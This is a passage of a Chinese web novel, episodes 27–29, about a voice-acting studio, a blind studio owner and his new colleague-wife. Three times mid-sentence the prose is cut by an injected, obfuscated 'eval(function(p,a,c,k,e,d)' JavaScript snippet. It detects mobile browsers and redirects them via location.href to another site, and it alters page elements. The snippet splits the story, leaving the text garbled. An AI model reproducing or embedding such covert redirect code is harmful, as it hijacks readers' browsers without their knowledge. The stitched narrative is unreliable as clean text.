女孩旁边放着的可乐,水汽在杯壁凝结了薄薄一层薄雾,她手里还有半块汉堡,但她似乎没什么胃口,眼睛直勾勾盯着林桐手里的泡面。 林桐笑着递给她,想必是哪家赌气出来的小姑娘,叹了口气,“现在工作也来不及了。” “我借你钱,给你妈妈治病,你上班还我。”沈桉羽那时候还是一头齐肩短发,染成栗棕色,发尾切得整齐,很利落干脆的模样。 “不用了。”林桐笑笑,看着她吸溜一口方便面,似乎很新鲜,满足地吸了口气。 “五万够吗?”沈桉羽耸了耸鼻子,“还有,别用看小孩的慈爱眼神看我,我研究生毕业,就是保养得比你好点,还长了张娃娃脸,早成年了,目前正在找人生理想。或者可以说,离家出走了……” “不过,资金方面不成问题。” 林桐这才收回了脸上玩笑的笑意,问:“为什么?” “不为什么,就是替你觉得不公平,我不可能帮很多人,但就像刚才那个瞎子说的,你的声音很好听,不要浪费了……” 生命无常,自然无情,走与留都不是人力能控制的。 至于沈桉羽为什么也留在了聆镜,靠得是她与生俱来的自信…… 她的声音不算优秀,但有些特别,塑造性虽没有林桐那么高,但在发掘个人特色方面,她很有自信,也很努力。在亲眼看见林桐试音后,非说聆镜是她找到的第一个人生目标,聆镜四人组的缘分就这么开始了。 冗长的故事,不算曲折离奇,没有大段煽情,普通人的普通遭遇,林桐没有打算讲给大家听,别人也不一定有兴趣听她讲完。 聆镜是她第二个家,寥寥几个字,足以承载这些年她所有的情感与表白。 苏木在旁边眯着眼睛仔细确认再三后,好事地用胳膊肘戳了戳陈藻,朝屏幕的方向努努嘴,一字一句慢慢念道:“中间的,黑皮,体育生,身材,好好啊。想看,秀肌肉。” “哦还有,想看,陈藻,可爱,五连拍。” 这位爷压根不看旁边陈藻脸上晕出的淡绯色,看热闹不嫌事大地咧着嘴,舌尖在后槽牙上有多动症似的,刮来刮去。 还好他良心发现,最后自己抛出的锅自己接下,脸皮厚就是吃得透,“哎哎哎你们别把我兄弟玩坏了,他社恐,我来五连拍,十连拍我都有POS摆……” 秦叠抽间隙上去给大家倒水,路过池晚桑时微微弯腰,在他耳边轻声说:“林桐姐说你累了就先离开,他们再聊一会儿就结束了。” “嗯,”池晚桑听话地埋头小口喝水,忽然拉住正要离开的秦叠,倾身凑过去。 因为掌握不好距离,而秦叠在镜头面前倒水都已经很紧张,平衡没掌握好,就这样亲上了。 她忽然感觉到侧颊凉凉的触感。 秦叠瞳孔瞬间放大,整个人僵在原地。虽然背对着镜头,她却已经感受到从脸上顺着血管蜿蜒到耳根,再蔓延到颈部的跳动。 动脉跟着心脏有节奏地剧烈起伏,呼吸却停滞了。 而池晚桑也愣在原地。 因为这个动作,无论从什么角度看。 都像他在索吻。 27. episode27 “对不起,我……” 秦叠猛地拉住池晚桑即将缩回去的手,因为他们现在这个角度在镜头里刚好是说悄悄话的模样,若是池晚桑动作幅度稍微大点后退,指不定被眼尖的观众发现,给歪曲成什么模样。 “你有什么想问的吗?”秦叠稍微侧过头去,那边苏木还在冥思苦想第九种姿势,陈藻建议他把头摘下来放手上。 “弹幕里,是不是觉得我很无礼……” 温热的呼吸就扑打在秦叠耳垂,避之不及。 池晚桑这么细心的人,不可能没察觉到旁边几人今天格外活跃,秦叠实话实说:“没有,就是有人想听你多说几句,林桐姐她们在保护你呢……” 池晚桑这才放开抓在她手腕上的手,坐直身子,在秦叠离开画框的一瞬,他清了清嗓子,“那个,我趁大家给苏木截屏说两句吧。” 苏木还在大玩特玩,虽然名义上是吸引粉丝对池晚桑的火力,但他这三秒一个姿势的频率,很难说没有乐在其中。 他在听到池晚桑开口的瞬间愣住,将两手举高,活像个投降的汉奸或者是没熟练掌握四肢的类人猿,一脸懵地转过头去。 池晚桑接着道:“我一直没有回复大家的问题,是因为……”他顿了顿,在公共场合任由大家评判,直面自己的缺陷没有他想的那么简单。 “因为,我,看不见。”池晚桑嘴角勉强牵起微笑,又像是看见了弹幕里的一片惋惜,说:“不过不用为我难受,我现在很好,也很荣幸大家喜欢聆镜的作品。” 日头西坠,窗边一缕暖光照射进来,落在黑白琴键上,秦叠仿佛听见几年前院落里传出来的段段音符,三角梅任意攀援着灰色围墙,艳丽而盛大的紫色舞会。 明天是周六,秦叠头一次故意磨蹭到所有人离开,等池晚桑下班。之前不是忙忘了稀里糊涂和池晚桑一起走,就是池晚桑等在门口,今天她有些不放心。 “以后你就是公众人物了,要是后悔和我结婚的话,我随时配合你离婚。”秦叠懒懒散散走在池晚桑旁边,憋了半晌,想起今天的事,总觉得还是不妥。 “你也是。”池晚桑楞了半秒说道,“不过你不是说我会算命嘛,我掐指一算,发现结婚也没什么不好。” 秦叠抿嘴笑了笑,双手背在身后两步轻快地跟上他,摇摇晃晃地走着,“我也会让聆镜知道,我是靠实力进去的。” 池晚桑嘴角上扬,“好。” “要我帮你训练吗?” “池老板能倾心教授,我当然感激不尽。” 夕阳将两人的身影拉长,肩并着肩,就像相互依偎。 秦叠和池晚桑两人生活习惯差不太多,生活用品都是能少则少。不过池晚桑因为习惯会把用过的东西放回原位,而秦叠有时候则丢三落四,比如…… 回去后,池晚桑在沙发上摸索到一个蕾丝嵌边,触感柔软,成条形的布料小物件。 昨晚两人吃完夜宵后困得不行,一大早又忙着上班,秦叠洗完澡后,忘记把这东西拿回去了。 一开始说实话,孤男寡女住在一起,秦叠还是十分谨慎,后来发现池晚桑距离感保持的很远,加上他又看不见,秦叠有些得意忘形了。 在她看见这不堪入目的一幕后,惊异还没来得及从嗓子里逸出,她看见池晚桑手一抽,迅雷不及掩耳之势又将那玩意儿放了回去。 谁知道她耳根已经是几成熟,反正秦叠只觉得自己头顶要冒烟了。 这种难堪的情形不鸣则已,一鸣惊人,但两人都默契地装傻,让秦叠束手无措中稍微得到一丝缓和。 这是他俩住在一起后第一个周末,不知道池晚桑平日休闲时间是怎么过的,反正秦叠起床后往沙发上一躺,拿出手机不发出一丝声响,就像和沙发融为一体了的模样。 池晚桑从卧室出来的时候,她眼皮都没抬一下。 似乎,对家里还有一个人的事情已经逐渐习以为常了。 但是下一秒,池晚桑朝沙发这边走过来,端着一杯热咖啡,额前两绺短发像鲶鱼胡须般翘着朝两边伸张,一看就是没睡醒的模样。 秦叠盯着他在自己面前走来走去煮咖啡,给岫白添早饭,拉开窗帘,心里一阵不爽。 怎么这幅邋遢样子还能这么赏心悦目,她想杀人了…… 不过,眼看着池晚桑似乎对沙发上躺尸的秦叠没有一点察觉,就要一屁股坐她身上时,秦叠咳嗽两声,“池老板,早上好啊。” “早上好。” 池晚桑稍微点点头,嘴角勾了勾,丝毫没有迟疑地路过她,坐在旁边的单人沙发上。 靠,这家伙早发现她了。也是,凭借这些天对盲人的了解,视力没法使用后,其余感官都会无限放大,秦叠这么大一个热源体放在他面前,不可能丝毫没有察觉。 池晚桑抿了两口热咖,俯身放在矮茶几上,略显宽松的睡衣领口空空荡荡,其下锁骨漂亮的形状若隐若现,秦叠连忙把头移开。 “今天有事吗?” 一般老板问你有没有事,多半是他有事。秦叠虽然很想说有事,但目前两人这种情况,有事没事池晚桑都一清二楚。 她看了眼窗外,万里无云,到中午又是被燥热炙烤的一天,不至于为了躲池晚桑而无家可归。权衡再三,秦叠磨磨蹭蹭,语气里略带迟疑,甚至语调上扬带着些疑问。 “……没吧?” “正好,准备一下昨天动画片的配音。” 就知道! 这就是牛马和剥削者住一屋的惨状嘛,有事没事拉出屋子捆上麻袋,绕着磨坊跑三圈热热身。 秦叠扭扭捏捏道:“外面太阳太大了,今天休息一天吧,给工作室的设备也放放假,一直用会出问题的!” 池晚桑听懂了她言外之意,笑了笑不予否认,“在这里也可以录。” 他说着往卧室的方向走去,“跟我来。” 不是吧,秦叠狐疑地跟上,难道这工作狂在卧室里还弄了一套设备?平日里云淡风轻的样子不像啊。路过岫白的时候,她甚至感受到黑狗明亮的眼睛里透出两点惋惜和八分嘲笑。 狗生多舒爽,人生太无奈。 她还从来没进过池晚桑的卧室,倒没有太新奇,和客厅如出一辙的风格,灰色调大床,落地窗能让光线很好照射进来,屋里没有桌椅,在窗边铺了一层圆形羊毛绒地毯。 看来他还挺喜欢晒太阳的。 侧面墙还有一个门,按理来说应该是主卧的卫生间,但池晚桑一开灯,里面的陈设吓了秦叠一跳。 这,真的在家里有一套设备啊! 不是吧…… 池晚桑启动设备,关掉刺眼的灯光,准确调到暖黄,“这个亮度还可以吧?” “可以可以。” 事已至此,不可以也只能可以了。 房间比卫生间大一些,用玻璃隔成两小间,软质隔音材料全包围,就算在这里唱K也完全不会影响邻居。整个小房间是木质家具的橙黄色,温暖明亮。 池晚桑打开隔间的门,说:“这是聆镜最开始的地方,苏木和我刚毕业没什么钱,就装了这么小块录音间,有什么活都接,累了就在外面睡,睡醒了接着配,不分白天黑夜的。” 他稍微侧身示意秦叠进去,“还好后来聆镜做起来了,这块地方也就没怎么用过,偶尔不想去工作室,我也会自己在家录了。” 房间虽小,装修的却很用心,工作台棱角苏木都用软包围住,这是替池晚桑着想。出门就是池晚桑的家,做饭休息都方便,这是池晚桑为聆镜着想。 过了这些年,房间陈设并没有老旧的痕迹,可见池晚桑说没怎么用过是假,常来维护保养是真。 几平米的工作间守护了两个人的梦想,机器日夜不停地运作,终有一天载着他们到阳光之下。 池晚桑走到话筒架旁调整,“你昨天的配音,总的来说还不错,但有的地方差点意思,下午因为有直播,没来得及和你说细节。” 说罢,他兜里手机响起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624268|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是黎宜打来的。 “臭小子干嘛呢,新娘子也不让我见,自己也躲我是吧,老了老了还是被人嫌弃喽。” 黎叔自愈能力很强,对于突然收到的那封信,说不难受是假的,但过去的事情没必要在脑子里反复鞭尸,这是他和母亲学会的。 在暴雨中千万次护好自己周全。 “诶我之前忘记给你说了,你现在不是一个人住,平时注意点穿着,不要邋里邋遢的,把别人给吓跑了,也真不知道看上你哪儿点了,难道你长得很帅吗?” 黎宜没见过池晚桑的样子,当然也不能想象小姑娘看见池晚桑会是什么反应,不省心地啧了一声。池晚桑听到这儿下意识往秦叠的方向偏了偏头,这些天在家,他好像确实没把人家当外人,也不知道自己有没有冒犯到秦叠…… 池晚桑又将手机拿远了些,和之前在工作室外一个样子,好容易等了个空隙插.进去,“工作呢,教一个小妹妹配音,待会儿给你打回去。” 小……妹妹? 池晚桑照惯例,一只耳朵没带上耳机,手指调整头戴式耳机和传导线时,秦叠却觉得有些性感,线条顺着胳膊从手肘处弯折,然后一直延伸到指尖,她终于领会到书里说葱削的指尖是什么意思了。 秦叠也走过去和他并排站着,或许是因为房间太小,她忽然觉得他们之间的距离好近,近到她似乎被池晚桑身上挥散不去的檀木清香包裹,近到能感受到他的呼吸,和他的心跳。 高中重新遇见池晚桑那年,秦叠常常借口接水拉着朋友在高三外面瞎晃。听说池晚桑是围棋社的,她又拉着朋友加入了围棋社,可在社里,她没有机会和池晚桑说话,唯一一次有接触是池晚桑帮忙修电灯,需要她们挪一下位置。 那时候的池晚桑是光彩照人的,不论是成绩还是体育技能方面,总能在前排看见他的影子。他不像高冷的学霸,身边老是围着一群狐朋狗友,相反秦叠却因为家里的变故沉默寡言了不少。 那时候外婆叮嘱池晚桑对秦叠妹妹体贴些,池晚桑总会找个没人的时候和秦叠解释,或者说是划清界限。 “你不是我妹妹,知道吧?东柏才是你哥。” 秦叠很无语翻着白眼说自己当然知道。 但现在,她也不想当这个妹妹。 好像一切又都掉了个头,话少的变得健谈,话多的收敛了锋芒。 练了两遍下来,秦叠跟着池晚桑的指示进步了不少,自己又兴奋地多配了几集。池晚桑就一直站在她旁边,没有休息的意思,时不时发表些建议。 和小时候一样,她拉着池晚桑和自己演巴啦啦小魔仙的剧情,池晚桑是黑魔仙,秦叠一定要灭了他拯救世界。他一手拿着遥控器和秦东柏打游戏,一边还能分心应付小姑娘的戏瘾,对这两兄妹可谓是又当爹又当妈。 动画片有一个情节,小熊的好朋友喜欢画画,但画得不好,很自卑,小熊最后去给它鼓励和勇气。秦叠也配得很好,她很欣赏小孩子的无畏和纯粹。 朋友说:“我好喜欢画画啊,可是我笔下的花草都太丑了。”说罢将手里的纸揉成一团丢开,“没人喜欢我画的画,我太没用了。” 小熊悄悄捡起又被它丢弃的一张纸,和着之前所有一样遭遇的画一起装订成册,“可是,我喜欢啊,我喜欢你的画,喜欢你画的我,更喜欢画画的你,还喜欢我们一起的日子。” 她的声音很轻,像是童话里的月亮船,蛋黄的颜色,倒影在湖里与鱼儿嬉戏,柔的像是一场甜美的梦。 “池老板?”秦叠叫了他两声都没反应,身子微微前倾看了他一眼,轻声问,“我这次配得怎么样?” “啊可以,”池晚桑像是被撞破了什么,扭捏地撇开头,“就是气声太多,少用一点。” “哦好的。” 小房间不透气,池晚桑脸上憋出一层绯色,秦叠觉得没对劲,有些着急地拉过他的胳膊,“你没事吧?你呼吸太急了。” 此时门外响起一阵急促的敲门声。 28. episode28 开门的瞬间两方都是懵的。 除了工作室那群人,池晚桑一般没有往来频繁的朋友,当听见一个陌生的男声,他脑子里迅速风暴了二十多年来听见的声音。 得出结论是,不认识这个人。 而门外面的余庆也傻眼了。特别是当一个大男人和他面对面站着,空灵的眼神直勾勾盯着自己,语气简短而不耐烦,只有两个字从喉咙里蹦出,“是谁?” 他再次检查了秦叠留给自己的地址和门牌上的号码,没错啊。 平时也没听过秦叠有男朋友,悄悄打量一眼池晚桑还穿着睡衣,嘶,有种斯文败类的模样。余庆后背漏过一丝凉意,越过池晚桑朝里狂喊了句:“秦叠你在吗?有没有事啊?有事就喊一声!弟弟来救你了!” 池晚桑:…… 秦叠听到余庆这不知天高地厚的威胁,忙不迭趿着拖鞋往外走,看见余庆一脸尴尬地招呼他进去,“误会,误会。” 她接过余庆怀里的一箱猕猴桃,“没想到你亲自送过来了,辛苦辛苦。” 等秦叠从冰箱里拿出一瓶橙汁放在余庆和池晚桑面前,口干舌燥地进行总结,终于坐下来猛灌一口水。 “听懂了吗?” 余庆目光呆滞地抱着蒙了一层水雾的玻璃瓶,点点头,看着秦叠的眼神里有几分迷茫,“你结婚了。” 好家伙,只听懂个结局,过程完全不重要是吧,他这样所有小说作者都要失业了。 “池晚桑,你说说。”秦叠扶额,放弃治疗。 池晚桑坐在旁边看热闹,忽然被提到,眉头微扬,“没错,我们,结婚了。” 余庆非常欠揍地在池晚桑面前晃了晃手,被秦叠啧了一声,毫不留情地打下来。 “你……” 他长得太好看,眼睛不仔细观察,看不出异样,每次都是这样。 池晚桑笑笑,“不用试了,我看不见。” 此时苏木打来视频通话,又是一个不知情人士,池晚桑走到旁边去接。 余庆这才忽然坐直打起精神,“师姐,你这算是色令智昏吗?他可看不见啊,以后生活起居全得靠你,就算,”他又扭头看了眼池晚桑,“长得确实好看,好看也不顶饱啊!” 秦叠忙打断他,跟着看了眼不远处的池晚桑,“你小点声,我这也是权宜之计,不用担心我,心里有数。还有你没看人家都是工作室老板了吗?遇见我之前一直都是一个人住,哪需要什么贴身服务……” “倒是你,一大早抱着一箱猕猴桃,愁眉苦脸地站在门口干嘛呢?” 余庆这才回过神来,哇地一声:“师姐,我失恋了……她嫌谈恋爱浪费时间,我话又太多,成为她找工作的绊脚石,把我踢开了。你说我话多嘛?我觉得也还好吧,每回和周静昀你们在一起的时候,大家相处都挺愉快啊,我从来没说过你戏精上身丢我的脸……” 这……话都说到这份上,秦叠憋回一口气,“是是是,我觉得你的话刚刚好,不多也不少。” 这话能信,耗子药都能喝。 余庆继续哭诉,“本来想找你哭诉一下,没想到你这边花好月圆,人影成双,鸳鸯浮水,连理对出,我多余了啊……” “唉怎么能这样说呢,”秦叠纠正他,“欢迎随时来找我,我不会给周静昀八卦的机会,誓死捍卫你的秘密。不过分都分了,你也别太显得旧情难忘,像是有多多情似的,能处就处,不能处一个人也照样过。” 余庆吸了吸鼻涕,“你之前万年单身主义的时候这样说还有说服力,现在……”他忽然竖起耳朵听见池晚桑在那边和苏木沟通人物配音特点,“哎,池哥的声音真好听。” 池晚桑这边和苏木正商量下周工作室出去吃一顿庆功宴,顺带把秦叠的入职欢迎仪式一并办了,说着说着又讨论起新剧的角色定位,两人试着对了对戏。 对戏不要紧,要紧的是在旁边听见神仙嗓音的余庆,整个人一下子就不好了,软软瘫在沙发上,一副娇弱之躯斜靠着沙发背,向池晚桑的背影伸出尔康手。 秦叠看见他这副□□的模样首先是感到震惊,没想到池晚桑的嗓子对男性听众也有如此强大的杀伤力,那么之前弹幕里叫“老公”的人,在性别方面,就需要拓宽拓宽了。 她忽然觉得自己之前被池晚桑声音折服,与这位大学生比起来,简直是小巫见大巫,远远没有这么丢脸,她有些放心了。 “咳咳,作为我们专业的学生,你听他的声音,不要盲目崇拜,其实还是有很多可以改进的地方。”秦叠清了清嗓子,故作深沉,熟练地从鸡蛋里挑出两颗鹅卵石。 “我们对发音的要求要练到极致,不要做一个声控OK?老师们会伤心的。” 她终于在余庆这边找回了点尊严,下次没自信了,决定把周静昀也叫来折服折服。 “什么?”余庆此时已经把失恋的事情抛在上辈子,仿佛此生圆满,声音的魅力有时候真的很神奇,“池哥认识王倩?我可太喜欢她了,从出道一直支持,能不能帮忙要一张签名啊!” 按照目前的症状,这人已经无药可救,秦叠不想理他。 只能说贵圈真乱,黑转粉就在一瞬间。 池晚桑知道余庆是秦叠朋友,留他一起吃完饭,秦叠心道完了,这下不仅抓住耳朵,还要抓住胃口,余庆就快被拿捏得死死的了。 而还没入虎口的羊现在正在屁颠屁颠帮池晚桑打下手,笑得满面桃花,春风拂面,“横着切牛肉是吧?我懂我懂,我妈教过我,这样把筋都切断,牛肉更嫩口。” 秦叠啧了一声,默默摇摇头,不是每个人都有她这样惊人的自控力。 “师姐,醋快没了,你下去买一瓶吧!”余庆不知天高地厚地朝她喊过来,又兀自感叹了句,“一看姐夫的手艺就了得,我今天可要大饱口福了。” 这沦陷的速度,和在广岛投原子弹后日本投降的速度有过之而无不足。 池晚桑楞了瞬,想说什么,不过被秦叠爽快应下。她依然喜欢逛超市,拖着步子,漫无目的地在一排排货架间穿梭,不知道自己想买什么,但也不想离开。不过今天没时间给她瞎逛,买了瓶醋连忙回去江湖救急。 回去的时候余庆和池晚桑聊的正欢畅,余庆生来就有一股喜感,让人乐于和他亲近,竟然连池晚桑也不例外,这倒让秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644080|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叠有些惊奇。 “所以,当女生说算了算了,一定是她想要,因为一些原因勉强放弃,当女生说可以吧,那就是没踩雷……” 秦叠听清楚他们的谈话内容,差点一个趔趄栽锅里,“余庆,你在乱说些什么……” “池哥关心我感情状况,我投之以木桃,报之以琼瑶一下。” 这死小子…… 秦叠瞪了他一眼,把醋拆封了放在案板上。 余庆浑像没看见,凑过来低声和秦叠说:“我刚大概把他摸清楚了,背景还算干净,没什么问题。” ……,那真是谢谢你哦,谢谢你的多事。 余庆说话和苏木一样,很少给人留间隙,又转头对池晚桑说:“池哥,你知道吗?师姐在我们学校可受欢迎了,我们院的院花,很多人求而不得的白月光,没想到最后便宜你了。” 池晚桑笑笑,熟练地往锅里放调味料。 终于上桌,余庆先是开局惯例感叹一番自己蹉跎的感情,又拉着池晚桑问东问西,秦叠都怕池晚桑觉得自己被什么间.谍.组织盯上了,后余庆话题一转,四处张望了下问道,“怎么没看见wuli公主?师姐你不要它了?我那么贵的平底锅都给它用,不至于啊。” “阳台那儿不是嘛,你的锅也在那儿,放心吧,你的锅在哪儿住都没用。” 余庆说的是秦叠养的含羞草,自打他认识秦叠起,这盆草就在秦叠身边了,那时候还是土黄色原装薄款一碰就脆的塑料花盆。他能感受到秦叠对这株草的感情,像是有个倾诉的对象,随时能回应的朋友。 不过他觉得含羞草太敏感,一碰就缩起来,像个害羞的公主,见不得人一样,直男表示不理解但尊重。 余庆不满地唉了一声,抬头间又扬起笑意,像个池晚桑的狗腿子,摇尾乞怜的。 “姐夫做的饭可太好吃了,我下次要带着另一位娘家人一起来蹭饭,小周一定高兴。”余庆傻笑着夹了一大口青椒肉丝,凭借着对池晚桑手艺的信任,还有这道菜怎么做都好吃的本性,他…… 差点吐出来。 不过饭桌礼仪还是督促他不要太放肆。 但这盘菜,也太,酸了吧! 池晚桑吃的时候皱了皱眉,意识到什么,伸手将这盘菜撤了出去,“刚放调料的时候放错了,别吃了。” 一旁的秦叠看见两人讳莫如深的表情,压抑不住好奇心去尝了一口,好奇害死猫,随机被酸出一身鸡皮疙瘩。 今天不凑巧,碰上大厨的厨艺滑铁卢了啊。 就在秦叠以为余庆今晚打算心碎人求收留,死皮赖脸住下的时候,他终于连吃带拿地走了,世界恢复了清净,阿门。 秦叠洗完澡躺在卧室床上,随手点开myeyes,久违地看见小瞎子的求助,点了接通。 这回倒是记得开灯了,镜头对着地面,地上铺了一层棕色的羊毛毯,毯子上整齐铺着几件衣服,有衬衣,卫衣,休闲装,运动服。仔细一看,价格都还不便宜。 这家伙一次比一次离谱,您是来炫富的吗? “您好?”秦叠忽略那个有些熟悉的羊毛地毯,轻声问道。 29. episode29 对面没声音,秦叠想起这人之前还伪装声线,换了种嗓音,清清嗓子,“听得见吗?” “您好,”摄像头那边终于有了动静,像是刻意放低音量,镜头又凑近了些,这会儿正对着那件白色衬衣,“我下周有个聚会,想请您帮忙看看……” 他停顿了下,像是在说些什么难以启齿的话,“哪件衣服适合。” 还是不出所料用的假音,秦叠幸亏事先伪装了下。 就是感觉怪怪的,明明是在做一件可以拿在太阳下暴晒的事情,怎么就弄得地下.组织.接头一样,神龙见手不见头的。 “您是什么类型的聚会呢?需要穿的正式一点吗?”秦叠看了眼镜头下白的发亮的衬衣,让她想起合唱团表演时候清一色的白,远远看去,就黄皮肤上隐约有个嘴在动,身体其余部分僵硬的像是干尸。 还要随节奏摇晃。 男人似乎思考了一阵,“不用太正式,同事聚餐。” 同事聚餐?秦叠脑海里刻板印象先行,不可避免地进行了一场盛大的脑补,几个盲人算命道士坐在八仙桌旁,互相摸手看命,算错喝酒……几个盲人按摩师围坐茶桌边,讨论这几天来的客人有几个有腰椎病,几个颈椎有问题。 这些情况的话,还真不好说该穿什么样的衣服……行业统一服饰? 不对,她不就认识一个盲人嘛,没有神秘兮兮的“天机不可泄露”,没有妙手回春疏通筋骨,而是再正常不过,甚至有些冷漠的,池老板。 想到这点,秦叠为自己刚才鲁莽的想法道歉,“您手机往左移动一下。” 怎么这家伙的衣服非黑即白,难道是追求正义的法官吗? “再往左移动……” 啧,实在是矮子里面拔将军,还好秦叠眼尖,道,“停,这间松绿色的衬衣吧,里面搭一件白色短袖,裤子也穿同色系的,显得干练。您还未婚吧?女孩子不会喜欢死气沉沉的男孩。” 对面没反应,她忽然停住自言自语,“抱歉抱歉,就是你手机正下方这件,然后最右边的白色短袖,和旁边的休闲裤。” 秦叠不知道怎么,想象了下池晚桑穿上这套搭配的模样,他皮肤白,穿深绿色会显得更清冷,像林中青苔,松柏在暗处伸长,挺拔又寂静。 对面对她的描述似乎还算满意,依言拾起三件衣服说:“谢谢,不过我好像在哪听过你的声音,之前是通过话吗?” 她明明和上次换了不同的发音部位,耳朵还挺厉害,秦叠说:“不太记得了,我没事就会在线,不经意间通过话也正常……这么认真的准备,看来聚会对你来说很重要啊,祝你聚会顺利。” 言下之意是,我这么忙,你声音再特别也不会被我记住的,再见不送。 周一还是和每个命苦的牛马一样,起床再难也要上班,秦叠唯一的乐趣就是看着池晚桑睡眼惺忪顶着个鸡窝头出门。 看见老板比自己起床还困难,相比较之下,她就没那么难受了。 “早上好,今天我烤了吐司。”秦叠已经坐在餐桌边,优雅地插起一颗小番茄,笑盈盈看池晚桑楞在原地听她讲话。 傻傻的。 池晚桑打了个巨大的哈欠,咳嗽两声,回她:“早上好。” “声音怎么哑了?” “昨晚忘记关空调了,被子也没盖,没事。”池晚桑揉了揉头发走进洗漱间。 今天两人倒是默契地一前一后走进工作室,不过这时间间隔的,像是有讲究一般,就差那么一分钟。 秦叠进门的时候还是遭到了火辣辣的眼神攻击。 沈桉羽皱了皱眉,“你们,怎么老是一前一后进门,就跟商量好了一样。” “早上好。”秦叠强颜欢笑,决定下次让池晚桑后进门,反正他看不见这些人诡异的表情,然后非常僵硬地将话题转到一边去,“大家在干什么呢?” 工作室里,苏木,沈桉羽,林桐,陈藻站了一排,嘴巴凹成不同形状,她进来时都卡在一个将闭未闭的状态,如果此时有只苍蝇一猛子扎进去,就好玩了。 林桐说:“我们在做口.操,锻炼一下脸部和嘴部肌肉,以免太僵硬了,发音也会受影响,你来不来?” 秦叠咽了咽口水,想起上次和大家一起比赛憋气,傻子一样练肺活量的场景还历历在目,嘴上想拒绝,但身体还是很诚实地跟了过去。 一起做傻事是最快的融入方式。 “嘴巴长大,说‘啊’……” “啊——” “然后合拢成一个小圆,说‘哦’……” “哦——” “裂开嘴,成一条缝,说‘一’……” “一——” 秦叠自我催眠跟着锻炼脸部肌肉,还好大家都不尴尬,不然她快撑不住了。 今天是话桑麻的剧本围读,编剧兼导演是作家关山,关山和聆镜一直是长期合作关系,几乎可以算作聆镜的一员了。 虽然秦叠还没见过关山,但这种在艺术上有一定造诣的人都有让人一眼识别出的特点,或是洒脱不羁,或是文质彬彬礼貌绅士。 于是在一个留着及肩长发,金丝眼镜,浅棕色设计感十足开衫进门的瞬间,秦叠已经可以确认这开衫,不,这人,就是关山。 妥妥的小白脸形象。 更让她惊喜的是,今天关山送来的剧本里,新增了一个人物,包子店老板娘,深藏不露的双刀传承人,双刀出鞘,刀剑无影,瞬间案板上猪肉成烂泥。 想也不用想,这是给她的安排! 从今天起,入住话桑麻,她真真正正算是聆镜的一员了,她第一反应是去看池晚桑。池晚桑捏着刚办公桌上突然多出的一盒西瓜霜,对她笑了笑。 这次秦叠准备的可谓是万事俱备,只欠开机。 首先她身上的衣服材质就算擦出火星,也不会有太大的响动。 其次,她猛灌一口热水,嗓子保护get! 最后,站在话筒前,深呼吸两口,将一边耳机挪到耳朵后面,方便听自己的人声,基础小细节get! 包子店老板娘刚出场就是一阵腥风血雨,她需要在夜幕下,梁上追逐采花大盗,几番回合下来,先摔一跤落得下成,然后双刀出窍,随手一丢,将那人钉在房梁上。 可这跤,毕竟不是真摔,总是显得虚伪,像是红楼娘子和蒙眼公子你追我逃的玩笑话。 关山喊卡,对着秦叠说:“这段你得想象一下真摔是怎么样的,听众的耳朵很挑剔,不能这么敷衍。” 秦叠无奈,“我之前没配过,导演我再来一遍。” 关山点头,想了想怎么配的技巧,按住话筒,正要指导,“你就……” 此时,池晚桑在旁边听了几遍都不太满意,直接打开了隔间的门。在大家的注视下走了进去。 他走到秦叠身边,对她轻声说不要用嗓子发力,摔倒时应该是腹部震颤溢出喉咙,带着不能控制的惊慌才行。 秦叠似懂非懂,起码比导演说的具体多了,她迟疑半刻,点点头说,“我试试。” “丹田用力,在小腹的位置,你找找。你摸我肚子,这儿,看看肌肉收缩情况。” 池晚桑说着将一只手覆在小腹的位置。 秦叠咽了咽口水,想起家里那些健身器材,池晚桑的身材不用看就知道很好,肩膀紧实有力,锁骨线条漂亮,腹肌,窄腰……而她现在就要去找他的丹田? 秦叠克制住,不显得太饥渴,轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660106|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把手放在池晚桑肚子上,虽然做了准备,还是感受到他身体微微一颤。 她的手心发烫,可此时又不能立马缩回去,这就是个简单的发音教程示范,秦叠你想什么呢! 苏木眯起眼睛,表示有鬼,双手抱胸,自言自语道:“哟,之前不是不让摸,现在两人关系挺好了呀。” 可是天赋不是每个人都有,教一次就会的,那也不是一般人,秦叠最后决定实打实地摔。 配音间里铺上软的减噪地毯,秦叠顺着地毯跑过去,跌倒,痛呼,收音结束。 这是她得到认可配的第一场戏,决不能将就。 可这一摔,就摔了七八次,连起来都可以出个鬼畜视频才最终收到理想的音效。 “可以了!”苏木打板,将耳机放在操作台上,对秦叠比了个OK的姿势,“你这敬业程度和池老板不相上下啊,快揉揉膝盖,我看着都疼。” 接下来是苏木和林桐的戏份,可这家伙一进配音间就兴奋,这何尝不是另一层面上的天赋异禀。 